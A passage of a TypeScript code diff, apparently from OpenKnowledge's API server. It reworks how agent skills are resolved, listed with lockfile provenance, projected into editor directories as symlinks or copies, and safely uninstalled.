+ const row = scanGlobalInPlaceSkills(skillsHome).find(
+ (s) => s.name === name && s.hosts.includes(host),
+ );
+ return row ? resolve(skillsHome, row.dir) : null;
+ }
+ // Global mirrors project: the IN-PLACE (native user-dir) canonical wins;
+ // the legacy store is a fallback until its last resident migrates.
+ const native = resolveGlobalNativeSkillDir(skillsHome, name);
+ if (native !== null) return native;
+ return existsSync(join(store, 'SKILL.md')) ? store : null;
+ }
+ // Project: the IN-PLACE canonical wins — a same-name store dir is a
+ // placement of the same skill, not its identity (mirrors the list rule).
+ const inPlace = scanInPlaceSkills(contentDir).find(
+ (s) => s.name === name && (host === undefined || s.hosts.includes(host)),
+ );
+ if (inPlace) return resolve(contentDir, inPlace.dir);
+ if (host !== undefined) return null;
+ return existsSync(join(store, 'SKILL.md')) ? store : null;
+ }
+
+ /**
+ * contentDir-relative bundle dir (POSIX) for a PROJECT skill — the in-place
+ * canonical when the skill isn't in the `.ok/skills` store. Feeds the
+ * shadow-restore + reimport write paths so Update/Revert operate on the
+ * skill's real dir.
+ */
+ /**
+ * The effective install mode for NEW fan-out of a skill: recorded per-skill
+ * preference first, then the default.
+ *
+ * The default is SYMLINK — one real folder plus links keeps a repo's git
+ * history free of N duplicate copies of every skill. But it applies ONLY when
+ * the skill has nothing to reclassify: a skill that already sits in several
+ * editor dirs as copies, with no recorded preference, predates the default,
+ * and a set-exact fan-out in link mode would silently convert every one of
+ * those copies. `otherOccurrences` is the count of installed locations besides
+ * the skill's own source folder — when it is zero, no existing location can be
+ * mutated, so the new default is free to apply.
+ */
+ /**
+ * One translation of `restoreSkillVersion`'s failure union to a response.
+ * Restore and revert are the same rollback with different entry points, and
+ * they carried byte-identical copies of this table.
+ */
+ /**
+ * Actor identity for the DELETE handlers. DELETE carries no body, so identity
+ * and summary ride the query string; this rebuilds the shape
+ * `extractActorIdentity` expects. Three handlers had byte-identical copies.
+ */
+ function extractActorIdentityFromQuery(
+ url: URL,
+ principal: typeof getPrincipal,
+ ): ReturnType<typeof extractActorIdentity> {
+ const sp = url.searchParams;
+ return extractActorIdentity(
+ {
+ agentId: sp.get('agentId') ?? undefined,
+ agentName: sp.get('agentName') ?? undefined,
+ colorSeed: sp.get('colorSeed') ?? undefined,
+ clientName: sp.get('clientName') ?? undefined,
+ clientVersion: sp.get('clientVersion') ?? undefined,
+ label: sp.get('label') ?? undefined,
+ summary: sp.get('summary') ?? undefined,
+ },
+ principal,
+ );
+ }
+
+ /**
+ * Whether a placement root is OK's own state area and therefore refused.
+ *
+ * `.ok/` holds OK's own state (config, local runtime data, the shadow repo),
+ * so a skill may not be placed inside it — with one exception that is not a
+ * special case so much as history: `.ok/skills` is the retired store, and
+ * projects that predate the retirement still have real skills sitting there.
+ * Refusing it would strand them, so it stays placeable at BOTH scopes; a
+ * placement there is an ordinary custom root like any other.
+ */
+ function isRefusedOkPlacementRoot(rootRel: string): boolean {
+ const underOk = rootRel === '.ok' || rootRel.startsWith('.ok/');
+ return underOk && rootRel !== LEGACY_SKILL_STORE_ROOT;
+ }
+
+ /**
+ * How a skill should be re-projected into its host dirs.
+ *
+ * An ACQUIRED skill (one imported from a source, recorded in
+ * `skills-lock.json`) projects as copies: its source can move or vanish with
+ * the import, and a symlink to it dangles on clone or in CI. An authored
+ * skill projects as symlinks — one real folder, no duplicated bytes.
+ *
+ * Install derived this; rename and cross-scope move hardcoded `'symlink'`,
+ * so renaming an imported skill silently converted every host back to a
+ * symlink and reintroduced exactly the dangle the copy rule exists to avoid.
+ */
+ function projectionModeFor(scope: 'project' | 'global', name: string): 'symlink' | 'copy' {
+ const base = scope === 'project' ? projectDir : skillsHome;
+ if (!base) return 'symlink';
+ try {
+ const lock = readSkillsLock(join(base, ...SKILLS_LOCK_REL));
+ return lock.skills[name] !== undefined ? 'copy' : 'symlink';
+ } catch {
+ // Unreadable lockfile: origin unknown, so keep the authored default.
+ return 'symlink';
+ }
+ }
+
+ function skillLockPath(scope: 'project' | 'global'): string | null {
+ const base = scope === 'project' ? projectDir : skillsHome;
+ return base ? join(base, ...SKILLS_LOCK_REL) : null;
+ }
+
+ function rekeySkillLockEntry(
+ scope: 'project' | 'global',
+ fromName: string,
+ toName: string,
+ patch: Partial<SkillsLock['skills'][string]> = {},
+ ): Promise<void> {
+ const lockPath = skillLockPath(scope);
+ if (!lockPath) return Promise.resolve();
+ return mutateSkillsLock(lockPath, (lock) => {
+ const entry = lock.skills[fromName];
+ if (!entry) return lock;
+ const skills = { ...lock.skills };
+ delete skills[fromName];
+ skills[toName] = { ...entry, ...patch };
+ return { ...lock, skills };
+ });
+ }
+
+ /**
+ * Move a provenance entry between scopes. Returns whether there was one to
+ * move, so the caller can skip the follow-up hash/baseline refresh.
+ *
+ * The destination write lands before the source removal: if the second write
+ * fails the entry exists in both lockfiles (harmless duplicate provenance)
+ * rather than in neither (the skill silently stops being reimportable).
+ */
+ async function transferSkillLockEntry(
+ fromScope: 'project' | 'global',
+ toScope: 'project' | 'global',
+ name: string,
+ ): Promise<boolean> {
+ const fromPath = skillLockPath(fromScope);
+ const toPath = skillLockPath(toScope);
+ if (!fromPath || !toPath) return false;
+ const entry = readSkillsLockFile(fromPath).skills[name];
+ if (!entry) return false;
+
+ const movedEntry = { ...entry };
+ // Global is unversioned — it has no shadow repo, so a baseline ref from the
+ // project side would point at a commit the destination cannot restore.
+ if (toScope === 'global') delete movedEntry.baselineRef;
+ await mutateSkillsLock(toPath, (lock) => ({
+ ...lock,
+ skills: { ...lock.skills, [name]: movedEntry },
+ }));
+ await mutateSkillsLock(fromPath, (lock) => {
+ const remaining = { ...lock.skills };
+ delete remaining[name];
+ return { ...lock, skills: remaining };
+ });
+ return true;
+ }
+
+ function updateSkillLockEntry(
+ scope: 'project' | 'global',
+ name: string,
+ patch: Partial<SkillsLock['skills'][string]>,
+ ): Promise<void> {
+ const lockPath = skillLockPath(scope);
+ if (!lockPath) return Promise.resolve();
+ return mutateSkillsLock(lockPath, (lock) => {
+ const entry = lock.skills[name];
+ if (!entry) return lock;
+ return { ...lock, skills: { ...lock.skills, [name]: { ...entry, ...patch } } };
+ });
+ }
+
+ function respondSkillRestoreFailure(
+ res: ServerResponse,
+ result: {
+ code: 'no-shadow' | 'version-not-found' | 'skill-absent' | 'io-error' | 'path-escape';
+ error: string;
+ },
+ handler: 'skill-restore' | 'skill-revert',
+ ): void {
+ const map = {
+ 'no-shadow': [409, 'urn:ok:error:shadow-not-configured'],
+ 'version-not-found': [404, 'urn:ok:error:not-found'],
+ 'skill-absent': [404, 'urn:ok:error:not-found'],
+ 'io-error': [500, 'urn:ok:error:storage-error'],
+ 'path-escape': [500, 'urn:ok:error:path-escape'],
+ } as const;
+ const [status, typeUri] = map[result.code];
+ errorResponse(res, status, typeUri, result.error, { handler, detail: result.code });
+ }
+
+ /**
+ * The form a NEW location should take: the one the skill's existing locations
+ * already use, and a symlink when it has none to follow.
+ *
+ * This used to key off the COUNT of existing locations — link while a skill
+ * lived in exactly one place, copy once it lived in two — so the form a
+ * location got depended on how many installs happened to precede it. Adding
+ * three locations produced a symlink then two copies, and the divergence
+ * badges appeared and vanished as the expected form flipped underneath them.
+ *
+ * Symlink is the default because it duplicates no bytes and cannot drift; a
+ * skill whose locations are all copies keeps getting copies, so a new one
+ * matches its siblings rather than silently mixing forms.
+ */
+ function effectiveInstallMode(
+ scope: 'project' | 'global',
+ name: string,
+ existing: { hosts: readonly string[]; linkedHosts: readonly string[] },
+ ): 'copy' | 'link' {
+ const prefBase = scope === 'project' ? projectDir : skillsHome;
+ const recorded = prefBase ? readSkillInstallModeRaw(prefBase, name) : undefined;
+ if (recorded) return recorded;
+ // The source is a real folder, never a link — judge by the others.
+ const others = existing.hosts.length - 1;
+ if (others <= 0) return 'link';
+ return existing.linkedHosts.some((h) => existing.hosts.includes(h)) ? 'link' : 'copy';
+ }
+
+ function projectSkillDirRel(name: string): string {
+ const dir = resolveSkillDirForRead('project', name);
+ return dir
+ ? relative(contentDir, dir).split(sep).join('/')
+ : `${LEGACY_SKILL_STORE_ROOT}/${name}`;
+ }
+
+ // OK's built-in skills are NOT authored under `.ok/skills`; they are
+ // force-installed into the editor host dirs (`.claude/skills/<name>/`,
+ // `.cursor/skills/<name>/`, …) — the `open-knowledge` project skill under the
+ // project root, and the `open-knowledge-discovery` / `open-knowledge-write-skill`
+ // user-global skills under `<home>`. Surface them in the skills index READ-ONLY
+ // so users see exactly what their agents load.
const BUILTIN_PROJECT_SKILL_NAME = BUNDLE_SKILL_NAME.project;
/**
- * Resolve the on-disk installed copy of the built-in `open-knowledge` project
- * skill across the editor host dirs, preferring Claude (the first entry in
+ * Resolve a built-in skill's on-disk projection across the editor host dirs
+ * under `base` (the project root for the project skill, `<home>` for the
+ * user-global ones), preferring Claude (the first entry in
* `PROJECT_SKILL_EDITOR_IDS`). Returns the chosen skill dir + its `SKILL.md` +
- * every host id it is projected into + the project-relative path, or null when
- * there is no project or no host copy exists yet.
+ * every host id it is projected into + the `base`-relative path, or null when
+ * no host copy exists yet.
*/
- function resolveBuiltinProjectSkillDir(): {
- dir: string;
- skillMd: string;
- hosts: string[];
- relPath: string;
- } | null {
- if (!projectDir) return null;
+ function resolveBuiltinSkillDir(
+ base: string,
+ name: string,
+ /**
+ * Which host dir to read from. A built-in can diverge across hosts exactly
+ * like any other skill (a stale `.agents` copy beside a current `.claude`
+ * one), and each is its own row — so without this both rows would serve
+ * whichever dir the editor-id order happens to reach first.
+ */
+ host?: string,
+ ): { dir: string; skillMd: string; hosts: string[]; relPath: string } | null {
const hosts: string[] = [];
let chosenDir: string | null = null;
- for (const editorId of PROJECT_SKILL_EDITOR_IDS) {
- const root = EDITOR_PROJECT_SKILL_ROOT[editorId];
+ // The `.agents` hub is a first-class host but carries no editor id, so it is
+ // absent from PROJECT_SKILL_EDITOR_IDS and has to be probed on its own.
+ const roots: Array<{ id: string; root: string }> = [
+ ...PROJECT_SKILL_EDITOR_IDS.map((editorId) => ({
+ id: editorId as string,
+ root: EDITOR_PROJECT_SKILL_ROOT[editorId] ?? '',
+ })),
+ { id: 'agents', root: '.agents/skills' },
+ ];
+ for (const { id, root } of roots) {
if (!root) continue;
- const dir = resolve(projectDir, ...root.split('/'), BUILTIN_PROJECT_SKILL_NAME);
+ const dir = resolve(base, ...root.split('/'), name);
if (!existsSync(resolve(dir, 'SKILL.md'))) continue;
- hosts.push(editorId);
- if (chosenDir === null) chosenDir = dir;
+ hosts.push(id);
+ if (host !== undefined ? id === host : chosenDir === null) chosenDir = dir;
}
if (chosenDir === null) return null;
const skillMd = resolve(chosenDir, 'SKILL.md');
@@ -16025,27 +17004,83 @@ export function createApiExtension(options: ApiExtensionOptions): Extension {
dir: chosenDir,
skillMd,
hosts,
- relPath: relative(projectDir, skillMd).split(/[\\/]/).filter(Boolean).join('/'),
+ relPath: relative(base, skillMd).split(/[\\/]/).filter(Boolean).join('/'),
+ };
+ }
+
+ /**
+ * Shape a lockfile entry into the API `origin` object (repo source + resolved
+ * marketplace URL + auto-update flag). Pure over `entry`; shared by the skills
+ * list handler and the built-in list entry. `pluginProvider`/`ref` stay on the
+ * lockfile entry and are not re-exposed (the plugin label derives from `source`).
+ */
+ function skillOriginFor(entry: SkillsLock['skills'][string]) {
+ const marketplaceUrl = pluginRepositoryUrl(entry.source, entry.pluginProvider);
+ return {
+ source: entry.source,
+ ...(entry.publisher !== undefined ? { publisher: entry.publisher } : {}),
+ ...(entry.skill !== undefined ? { skill: entry.skill } : {}),
+ ...(marketplaceUrl ? { marketplaceUrl } : {}),
+ importedAt: entry.importedAt,
+ ...(entry.autoUpdate !== undefined ? { autoUpdate: entry.autoUpdate } : {}),
+ };
+ }
+
+ /**
+ * Synthesize the skills.sh lock entry for one of OK's built-in bundle skills.
+ * Built-ins seed from the app bundle, but their canonical upstream is the
+ * deterministic `inkeep/open-knowledge-skills` repo — so, exactly like a
+ * pre-provenance starter pack (`retrofitPackLockEntry`), we synthesize the
+ * entry on demand from the installed content rather than storing one at seed
+ * time. Drives the repo link + the manual "update available" flow. Its
+ * `autoUpdate: false` makes updates MANUAL-only: a pulled/shared project never
+ * silently re-pulls a built-in. Returns null for any non-built-in name or when
+ * the skill isn't installed on disk.
+ */
+ function synthBuiltinLockEntry(base: string, name: string): SkillsLock['skills'][string] | null {
+ if (!isInternalBundleSkillName(name)) return null;
+ const resolved = resolveBuiltinSkillDir(base, name);
+ if (!resolved) return null;
+ const contentHash = parseSkillDir(resolved.dir)?.contentHash ?? '';
+ let importedAt: string;
+ try {
+ importedAt = statSync(resolved.skillMd).mtime.toISOString();
+ } catch {
+ importedAt = new Date(0).toISOString();
+ }
+ return {
+ source: OPENKNOWLEDGE_SKILLS_REPO,
+ skill: name,
+ contentHash,
+ autoUpdate: false,
+ importedAt,
};
}
/**
- * The managed, read-only skills-list entry for the built-in `open-knowledge`
- * project skill, read from its on-disk projection. Returns null when it isn't
+ * The managed, read-only skills-list entry for a built-in bundle skill, read
+ * from its on-disk projection under `base`. Returns null when it isn't
* installed (no host copy). Marked `managed: true` so the UI labels it and
- * disables mutation; the write/rename/delete APIs refuse it independently.
+ * disables mutation; the write/rename/delete APIs refuse it independently. An
+ * `origin` (skills.sh repo link + manual update path) is attached from the
+ * synthesized built-in lock entry.
*/
- function builtinProjectSkillListEntry(): {
+ function builtinSkillListEntry(
+ base: string,
+ name: string,
+ scope: 'project' | 'global',
+ ): {
name: string;
description?: string;
- scope: 'project';
+ scope: 'project' | 'global';
path: string;
absolutePath: string;
installed: boolean;
hosts: string[];
managed: true;
+ origin?: ReturnType<typeof skillOriginFor>;
} | null {
- const resolved = resolveBuiltinProjectSkillDir();
+ const resolved = resolveBuiltinSkillDir(base, name);
if (!resolved) return null;
let description: string | undefined;
try {
@@ -16054,24 +17089,28 @@ export function createApiExtension(options: ApiExtensionOptions): Extension {
} catch {
// Malformed SKILL.md: still list it (without a description) so it's visible.
}
+ const synthEntry = synthBuiltinLockEntry(base, name);
return {
- name: BUILTIN_PROJECT_SKILL_NAME,
+ name,
...(description !== undefined ? { description } : {}),
- scope: 'project',
+ scope,
path: resolved.relPath,
absolutePath: resolved.skillMd,
installed: resolved.hosts.length > 0,
hosts: resolved.hosts,
managed: true,
+ ...(synthEntry ? { origin: skillOriginFor(synthEntry) } : {}),
};
}
/**
- * Refuse a MUTATION (write / rename / delete / install / …) that targets one of
- * OK's built-in bundle skills (`open-knowledge*`). They are managed by
- * OpenKnowledge: read-only in both the UI and the API. Returns true (and
- * writes the error) when `name` is reserved, so callers early-return; the UI
- * already hides these controls, this is the defense-in-depth server gate.
+ * Refuse an EDIT of one of OK's runtime skills (`open-knowledge`,
+ * `open-knowledge-discovery`, `open-knowledge-write-skill`) — the app's own
+ * agent contract. Read-only is an EDIT gate only: a silent local edit would
+ * invisibly fork the contract, so content changes arrive exclusively via
+ * checkpointed reimport/seed. Lifecycle verbs (delete / move / install /
+ * uninstall) are ORDINARY for these skills; the same call doubles as the
+ * squat guard on CREATE/rename-to. Fork-to-own covers variants.
*/
function rejectReservedBuiltinSkill(name: string, res: ServerResponse, handler: string): boolean {
if (!isInternalBundleSkillName(name)) return false;
@@ -16079,7 +17118,7 @@ export function createApiExtension(options: ApiExtensionOptions): Extension {
res,
400,
'urn:ok:error:reserved-doc-name',
- `"${name}" is a built-in skill managed by OpenKnowledge and can't be edited, renamed, or deleted.`,
+ `"${name}" is one of OpenKnowledge's runtime skills — its content is read-only in-app (updates arrive via reimport). Duplicate it under a new name to make your own version.`,
{ handler },
);
return true;
@@ -16124,10 +17163,60 @@ export function createApiExtension(options: ApiExtensionOptions): Extension {
/**
* Remove a skill's editor-host projections + drop its install-marker entry,
* leaving the source intact. Shared by DELETE (full removal) and the uninstall
- * endpoint (demote to Draft). Returns true when an install record existed.
+ * endpoint. Returns true when an install record existed.
+ *
+ * IN-PLACE guard: when the skill has no `.ok/skills` store source,
+ * its editor-dir occurrences ARE the skill — the canonical and any fork are
+ * REAL dirs a blanket reverse-projection would rm -rf. Route those through
+ * `removeInPlaceSkillCopies`, which removes only lossless occurrences
+ * (symlinks / same-hash copies) and never the canonical or a differing dir.
*/
- async function uninstallSkillFromHostDirs(base: string, name: string): Promise<boolean> {
+ async function uninstallSkillFromHostDirs(
+ base: string,
+ name: string,
+ scope: 'project' | 'global',
+ ): Promise<boolean> {
const installed = await removeSkillInstall(base, name);
+ if (!existsSync(resolve(resolveSkillsRoot(scope), name, 'SKILL.md'))) {
+ const entry = (
+ scope === 'project' ? scanInPlaceSkills(contentDir) : scanGlobalInPlaceSkills(skillsHome)
+ ).find((s) => s.name === name);
+ if (entry) {
+ const scanBase = scope === 'project' ? contentDir : skillsHome;
+ const canonical = resolve(scanBase, entry.dir);
+ // Uninstall consolidates to the vendor-neutral `.agents` hub: the skill
+ // survives THERE and every EDITOR projection is removed. Protecting the
+ // scan's precedence canonical instead would keep whichever editor won the
+ // election on install (`.claude` outranks `.agents`) and remove the hub —
+ // the reverse of an uninstall (the user's "uninstall" would leave the
+ // skill sitting in the editor). If the hub lacks a copy (install set-exact
+ // moved the skill into the editor), materialize it from the canonical so
+ // the skill is never deleted by an uninstall. We never INVENT
+ // `.agents` — a project with no hub root falls back to keeping the
+ // canonical (a hub-less skill just stays put).
+ const hubRoot = resolve(scanBase, '.agents', 'skills');
+ const hubDir = join(hubRoot, name);
+ if (existsSync(hubRoot) && !existsSync(join(hubDir, 'SKILL.md'))) {
+ let sameInode = false;
+ try {
+ sameInode = realpathSync(canonical) === realpathSync(hubDir);
+ } catch {
+ sameInode = false;
+ }
+ if (!sameInode) tracedCpSync(canonical, hubDir, { recursive: true, dereference: true });
+ }
+ const keepDir = existsSync(join(hubDir, 'SKILL.md')) ? hubDir : canonical;
+ removeInPlaceSkillCopies({
+ canonicalAbs: keepDir,
+ canonicalHash: entry.contentHash,
+ name,
+ cwd: base,
+ targets: [...PROJECT_SKILL_EDITOR_IDS],
+ roots: skillProjectionRoots(scope),
+ });
+ return installed !== null;
+ }
+ }
// Reverse-project across ALL skill-surface host dirs, NOT just the marker's
// recorded hosts. The marker can be stale or absent (e.g. after a cross-scope
// move, or when the source was removed out-of-band) while orphan/dangling
@@ -16135,7 +17224,7 @@ export function createApiExtension(options: ApiExtensionOptions): Extension {
// `reverseProjectSkill`'s dangling-symlink removal — guarantees no projection
// survives a delete/move. `reverseProjectSkill` is a no-op per host that
// has nothing to remove, so over-covering is safe.
- reverseProjectSkill(name, base, PROJECT_SKILL_EDITOR_IDS);
+ reverseProjectSkill(name, base, PROJECT_SKILL_EDITOR_IDS, skillProjectionRoots(scope));
return installed !== null;
}
@@ -16143,7 +17232,7 @@ export function createApiExtension(options: ApiExtensionOptions): Extension {
* Enumerate `<skillsRoot>/<name>/SKILL.md` entries for the Skills panel.
* Reads each skill's frontmatter for `description`; a malformed/absent
* frontmatter still lists (description omitted) so the panel can surface it
- * as a Draft to fix. Non-skill-named dirs are skipped. Bounded by
+ * so it can be fixed. Non-skill-named dirs are skipped. Bounded by
* `SKILLS_LIST_CAP`.
*/
function resolveSkillsList(
@@ -16193,17 +17282,11 @@ export function createApiExtension(options: ApiExtensionOptions): Extension {
const skillMd = resolve(skillsRoot, entry.name, 'SKILL.md');
if (!existsSync(skillMd)) continue;
let description: string | undefined;
- let installedVersion: string | undefined;
try {
const { frontmatter } = parseFrontmatterDoc(readFileSync(skillMd, 'utf-8'));
if (typeof frontmatter.description === 'string') description = frontmatter.description;
- // `version` of the installed copy — drives pack-skill update detection
- // (enriched with the bundled version + verdict in `enrich`).
- if (typeof frontmatter.version === 'string' && frontmatter.version.trim() !== '') {
- installedVersion = frontmatter.version;
- }
} catch {
- // Malformed SKILL.md — list it without a description (Draft to fix).
+ // Malformed SKILL.md — list it without a description so it can be fixed.
}
skills.push({
name: entry.name,
@@ -16211,7 +17294,6 @@ export function createApiExtension(options: ApiExtensionOptions): Extension {
scope,
path: skillRelPath(skillMd, scope),
absolutePath: skillMd,
- ...(installedVersion !== undefined ? { installedVersion } : {}),
});
}
return { skills, truncated };
@@ -16225,36 +17307,305 @@ export function createApiExtension(options: ApiExtensionOptions): Extension {
// shared) + global skills (`<home>/.ok/skills`, user-level). Each is
// enriched from ITS OWN install marker — the project marker at
// `<projectDir>/.ok/local/`, the user marker at `<home>/.ok/local/`.
- const project = resolveSkillsList(resolveSkillsRoot('project'), 'project');
+ const projectSkillsRoot = resolveSkillsRoot('project');
+ const project = resolveSkillsList(projectSkillsRoot, 'project');
const globalSkills = resolveSkillsList(resolveSkillsRoot('global'), 'global');
+ // Editors the install menu may OFFER per scope on THIS machine.
+ // Project: every editor with a project skill root — install creates the
+ // dir, so all are installable. Global: only editors whose user-home skill
+ // dir EXISTS (`detectUserSkillHosts`) — a global install never creates a
+ // host home, so offering an undetected editor (e.g. Copilot with no
+ // `~/.copilot`) just no-ops and the checkmark reverts.
+ const projectInstallableEditors: string[] = [...PROJECT_SKILL_EDITOR_IDS];
+ const globalInstallableEditors: string[] = detectUserSkillHosts(skillsHome).map(
+ (h) => h.editorId,
+ );
const projectInstalled = projectDir ? readInstalledSkills(projectDir).skills : {};
const globalInstalled = readInstalledSkills(skillsHome).skills;
- const enrich = (list: typeof project, marker: Record<string, { hosts: string[] }>) =>
+ // Import provenance (project skills only — the global store is unversioned
+ // and has no lockfile). Read once so the "Imported from …" row + "Update
+ // from source" action have the source without a per-skill lookup.
+ const lock: SkillsLock | null = projectDir
+ ? (parseSkillsLock(
+ existsSync(join(projectDir, ...SKILLS_LOCK_REL))
+ ? readFileSync(join(projectDir, ...SKILLS_LOCK_REL), 'utf-8')
+ : '',
+ ) ?? null)
+ : null;
+ const skillOrigin = skillOriginFor;
+ const enrich = (
+ list: typeof project,
+ marker: Record<string, { hosts: string[] }>,
+ withOrigin: boolean,
+ ) =>
list.skills.map((skill) => {
const record = marker[skill.name];
const hosts = record?.hosts ?? [];
- // Pack-skill update detection: compare the installed `version` against
- // OK's currently-bundled version. Returns empty for non-pack skills, so
- // only packs carry the fields (and only the panel badges them).
- const update = computePackUpdateStatus(skill.name, skill.installedVersion);
+ const entry = withOrigin ? lock?.skills[skill.name] : undefined;
+ const origin = entry ? skillOrigin(entry) : undefined;
+ // Locally modified since install: current on-disk hash diverges from the
+ // recorded write-time baseline. Only decidable when `localHash` was
+ // recorded (post-baseline installs). This is a greenfield feature —
+ // skills imported before it read as clean (no baseline, so neither
+ // Modified nor Revert applies), which keeps Modified and Revert gated on
+ // the SAME `localHash`/`baselineRef` that only post-feature imports carry.
+ const modified =
+ entry?.localHash !== undefined &&
+ localSkillHash(projectSkillsRoot, skill.name) !== entry.localHash;
+ // Revert restores from the shadow-repo `baselineRef`; only offer it when
+ // one was recorded (git project). A non-git project records `localHash`
+ // but no `baselineRef`, so it can show Modified yet not Revert.
+ const revertable = entry?.baselineRef !== undefined;
// `installed` = has ≥1 host, NOT merely marker-present. A marker with
- // zero hosts (e.g. a rename whose editors all vanished) is a Draft, not
+ // zero hosts (e.g. a rename whose editors all vanished) is source-only, not
// an installed skill — the install handler also drops empty markers.
- return { ...skill, installed: hosts.length > 0, hosts, ...update };
+ return {
+ ...skill,
+ installed: hosts.length > 0,
+ hosts,
+ ...(origin ? { origin } : {}),
+ ...(modified ? { modified: true } : {}),
+ ...(revertable ? { revertable: true } : {}),
+ };
});
- // Append OK's built-in `open-knowledge` project skill (read from its
- // on-disk editor projection, e.g. `.claude/skills/open-knowledge/`) as a
- // managed, read-only entry, unless the project already authors a real
- // `.ok/skills/open-knowledge` (the reserved-name gate normally prevents
- // this, but a pre-existing one wins to avoid a duplicate row).
- const builtin = project.skills.some((s) => s.name === BUILTIN_PROJECT_SKILL_NAME)
- ? null
- : builtinProjectSkillListEntry();
+ // In-place editor-dir skills: one entry per registry canonical,
+ // at its REAL path (`.claude/skills/<name>/SKILL.md`, …). For PROJECT
+ // scope the IN-PLACE canonical wins a name collision with a `.ok/skills`
+ // store dir — after the boot migration a project store dir sharing an
+ // in-place name is a user placement (or stray copy) of the SAME skill,
+ // and letting the store win hijacked the skill's identity (hosts
+ // vanished). Built-ins are appended separately below. Import lifecycle
+ // (origin / Modified / Revert) reads the same lockfile as store
+ // skills; `modified` compares the canonical bundle's `parseSkillDir`
+ // hash against the recorded `localHash`.
+ // Machine-local custom placements (copies/symlinks the user placed at
+ // arbitrary paths) — disclosed on the project entries' path lists.
+ const placements = projectDir ? readSkillPlacements(projectDir) : {};
+ // DRIFT: a recorded location whose on-disk form (copy vs symlink) no
+ // longer matches what OK last wrote there = another tool rewrote it.
+ // EXTERNAL: locations the user handed off — reported, never touched.
+ const placementFlags = (
+ baseDir: string,
+ list: ReturnType<typeof readSkillPlacements>[string] | undefined,
+ canonicalAbs?: string,
+ ): { drift: string[] } => {
+ const drift: string[] = [];
+ for (const p of list ?? []) {
+ const abs = resolve(baseDir, p.path);
+ // The skill's OWN folder is never a placement: it is the thing the
+ // others project from. A record can outlive the source moving here
+ // (it was a link or copy before it became the source), and reading
+ // that stale record as drift flags the source itself as "changed
+ // outside" on a project nobody has touched. The skill-wide convert
+ // loop already skips the canonical dir for the same reason.
+ if (canonicalAbs !== undefined && abs === resolve(canonicalAbs)) continue;
+ let isLink = false;
+ try {
+ isLink = lstatSync(abs).isSymbolicLink();
+ } catch {
+ continue;
+ }
+ if ((isLink ? 'link' : 'copy') === p.mode) continue;
+ // A link that RESOLVES to the skill's own canonical dir is a healthy,
+ // known form regardless of who rewired it (folder link↔per-skill link
+ // conversions land here) — never "changed outside" noise. It stays
+ // flagged only when it points somewhere else (or dangles).
+ if (isLink && canonicalAbs !== undefined) {
+ try {
+ if (realpathSync(abs) === realpathSync(canonicalAbs)) continue;
+ } catch {
+ // dangling / unresolvable — fall through to the flag
+ }
+ }
+ drift.push(p.path);
+ }
+ return { drift };
+ };
+ const projectAliases = projectDir ? scanHostRootAliases(contentDir, 'project') : {};
+ const projectAliasRoots = aliasedSourceRoots(projectAliases, 'project');
+ // Placement receipts recorded under a now-aliased root describe bytes
+ // that physically live in the alias TARGET — hiding them keeps the
+ // aliased folder from resurfacing as a fake location (and keeps every
+ // mutation surface off the alias). The records stay in the ledger:
+ // un-aliasing the folder brings them back unchanged.
+ const underRoots = (path: string, roots: ReadonlySet<string>): boolean =>
+ [...roots].some((r) => path === r || path.startsWith(`${r}/`));
+ // Ledger records under STANDARD editor roots are form receipts for
+ // editor rows (leave-behind links, drift expectations) — they feed the
+ // drift flags but are NOT custom placements: emitting them as
+ // such duplicated every editor row as a folder mark on the pill.
+ const stdRootsProject = standardSkillRoots('project');
+ const stdRootsGlobal = standardSkillRoots('global');
+ const dropAliased = (
+ list: ReturnType<typeof readSkillPlacements>[string] | undefined,
+ aliasRoots: Set<string>,
+ ): ReturnType<typeof readSkillPlacements>[string] =>
+ (list ?? []).filter(
+ (pl) => ![...aliasRoots].some((r) => pl.path === r || pl.path.startsWith(`${r}/`)),
+ );
+ // The lockfile and the placement ledger are keyed by NAME, but a name can
+ // be held by several distinct-content bundles. There is no reliable way
+ // to tell which one a lock entry describes (a hand-edited bundle failing
+ // `localHash` looks exactly like a same-named bundle that was never ours),
+ // so lock-derived state binds to the by-name default row only. The others
+ // read as untracked. Attributing it to every same-named row would put a
+ // Revert button on a skill whose baseline belongs to a different one.
+ const projectNameSeen = new Set<string>();
+ const inPlace = projectDir
+ ? scanInPlaceSkills(contentDir).map((s) => {
+ const tracked = !projectNameSeen.has(s.name);
+ projectNameSeen.add(s.name);
+ // Built-ins have no stored lockfile entry — synthesize their
+ // skills.sh origin so they carry the repo link + manual update path.
+ const entry = tracked
+ ? (lock?.skills[s.name] ?? synthBuiltinLockEntry(contentDir, s.name))
+ : undefined;
+ const origin = entry ? skillOrigin(entry) : undefined;
+ const modified = entry?.localHash !== undefined && s.contentHash !== entry.localHash;
+ return {
+ name: s.name,
+ ...(s.description ? { description: s.description } : {}),
+ scope: 'project' as const,
+ path: `${s.dir}/SKILL.md`,
+ absolutePath: resolve(contentDir, s.dir, 'SKILL.md'),
+ installed: true,
+ hosts: [...s.hosts],
+ installableEditors: projectInstallableEditors,
+ ...(s.linkedHosts.length > 0 ? { symlinkedHosts: [...s.linkedHosts] } : {}),
+ ...(Object.keys(projectAliases).length > 0 ? { hostAliases: projectAliases } : {}),
+ ...(s.conflictHosts.length > 0 ? { conflictHosts: [...s.conflictHosts] } : {}),
+ ...(() => {
+ const custom = dropAliased(
+ tracked ? placements[s.name] : undefined,
+ projectAliasRoots,
+ ).filter((cp) => !underRoots(cp.path, stdRootsProject));
+ return custom.length
+ ? { customPlacements: custom.map((cp) => ({ path: cp.path, mode: cp.mode })) }
+ : {};
+ })(),
+ ...(() => {
+ const f = placementFlags(
+ projectDir,
+ dropAliased(tracked ? placements[s.name] : undefined, projectAliasRoots),
+ resolve(contentDir, s.dir),
+ );
+ return f.drift.length > 0 ? { driftPaths: f.drift } : {};
+ })(),
+ ...(effectiveInstallMode('project', s.name, s) === 'link'
+ ? { linkMode: true }
+ : {}),
+ ...(origin ? { origin } : {}),
+ ...(modified ? { modified: true } : {}),
+ ...(entry?.baselineRef !== undefined ? { revertable: true } : {}),
+ // Runtime skills: ordinary entries, read-only CONTENT (the
+ // app's agent contract — edits arrive via reimport only).
+ ...(isInternalBundleSkillName(s.name) ? { managed: true as const } : {}),
+ };
+ })
+ : [];
+ // GLOBAL in-place skills: user-home editor-dir canonicals, listed
+ // like any global skill but at their REAL (`~`-relative) paths. The
+ // `~/.ok/skills` store wins a name collision (migration pending), and
+ // built-ins are appended separately below. No origin/Modified/Revert —
+ // the global tier has no lockfile and is unversioned.
+ const globalPlacements = readSkillPlacements(skillsHome);
